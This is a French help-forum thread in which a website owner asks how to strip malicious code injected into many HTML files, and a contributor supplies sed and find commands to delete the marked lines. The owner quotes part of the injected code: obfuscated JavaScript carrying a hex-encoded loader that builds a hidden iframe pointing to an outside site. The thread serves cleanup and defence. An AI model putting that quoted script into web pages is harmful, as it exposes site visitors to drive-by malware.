Cherche une commande

Sandra2012 Messages postés 46 Statut Membre -  
zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,

Je cherche une commande pour supprimer une phrase de tous les fichiers qui existe dans mon site ..

En fait un code malveillant a été injecté (c le même code) dans plusieurs fichiers de mon site , je souhaite les supprimer à la fois , mais je trouve pas la commande sur Internet

Merci d'avance

7 réponses

  1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
     
    Salut,

    Normalement "sed" devrait pouvoir t'aider à faire ça.

    Par contre un exemple concret serait le bienvenu afin de ne pas faire de bêtises ;-)
    0
  2. Sandra2012 Messages postés 46 Statut Membre
     
    Merci mais je souhaite avoir la commande exacte svp......
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Sans exemple ça va être difficile ;-(

      Mais en attendant tu peux toujours jeter un oeil à la FAQ sur sed...
      0
  3. Sandra2012 Messages postés 46 Statut Membre
     
    J'ai déjà vu ça :/ tous ces faq montre comment supprimer une phrase depuis un fichier spécifique mais moi je cherche à faire la suppression depuis tous les fichiers qui existe sur le serveur.

    Voici le code que je cherche à supprimer
    --------------
    <script type="text/javascript" language="javascript" >

    ypzsp="s"+"p"+"li"+"t";kcy=window;wrqrd="dy";uwmz=document;k
    epbv="0x";tfpdlx=(5-3-1);try{++(uwmz.body)}catch(utimwd){ehy
    y=false;try{}catch(asua){ehyy=21;}if(1){twp="17:5d:6c:65:5a:
    6b:60:66:65:17:66:6e:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a
    :6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5
    a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:6
    7:1e:32:4:1:17:6d:58:69:17:66:6e:17:34:17:5b:66:5a:6c:64:5c:
    65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:
    69:58:64:5c:1e:20:32:4:1:4:1:17:66:6e:25:6a:69:5a:17:34:17:1
    e:5f:6b:6b:67:31:26:26:6e:6e:6e:25:6b:5c:6a:6b:24:5e:5c:60:5
    c:25:5c:6c:26:5d:48:3a:69:68:51:50:70:25:67:5f:67:1e:32:4:1:
    17:66:6e:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:
    ------------
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Cette partie est toujours encadrée par des
      --------------
      ?
      Là ton texte est sur plusieurs lignes, c'est bien le cas aussi dans tes fichiers ?

      Pourrais-tu mettre un vrai fichier sur cjoint afin qu'on puisse bien évaluer le format et concocter une commande en rapport ?
      0
  4. Sandra2012 Messages postés 46 Statut Membre
     
    Je vous ai mis le code malveillant dans le fichier code.txt
    http://www.cjoint.com/confirm.php?cjoint=CIlkUcRUHI7

    Si vous avez un Antivirus il va le bloquer :/

    (C'est moi qui a mis les ------ le code ne les contient pas )

    Grand Merci
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Pas d'antivirus sous GNU/Linux ;-)

      Normalement avec cette simple commande :
      sed -i '/^<!--32f02e-->/d' fichier
      Ça devrait le faire. Donc à essayer sur un fichier de test (une copie d'un vrai fichier entier).

      Si ça marche on avisera pour appliquer la commande à un ensemble de fichiers récursivement.

      On peut rajouter à l'option "-i" le paramètre ".bak" afin de créer une sauvegarde du fichier original :

      sed -i.bak '/^<!--32f02e-->/d' fichier
      0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. Sandra2012 Messages postés 46 Statut Membre
     
    Vous êtes parfait Zipe 31 , Grand Merci :)))))))))
    Comment appliquer ça pour tous les fichiers svp? :)
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Quelle est l'extension des fichiers à traiter ? Toutes ou juste certaines extensions ?
      0
  7. Sandra2012 Messages postés 46 Statut Membre
     
    la plupart est en .htm et .html ....
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Deux solutions :

      cd /chemin/racine
      find . -type f \( -name '*.htm' -o -name '*.html' \) -exec sed -i '/^<!--32f02e-->/d' {} \;

      ou

      cd /chemin/racine
      shopt -s globstar
      sed -i '/^<!--32f02e-->/d' ./**/*.{htm,html}

      Je ne peux garantir le résultat à 100% ni même d'éventuels effets indésirables (suppression de code bon ou autre) ;-\
      0
  8. Sandra2012 Messages postés 46 Statut Membre
     
    Elle na pas fonctionné :(

    Merci quand même
    0
    1. zipe31 Messages postés 34620 Date d'inscription   Statut Contributeur Dernière intervention   6 501
       
      Laquelle ?

      As-tu fais plusieurs essais de la 1ère commande que je t'ai donnée ici sur plusieurs fichiers différents ?

      Pour la commande "find", tu peux essayer ceci :
      cd /chemin/racine
      find . -type f \( -name '*.htm' -o -name '*.html' \) -exec echo "sed -i '/^<\!--32f02e-->/d' {}" \;
      Et voir déjà si ça renvoie quelque chose sur la sortie standard (l'écran).
      0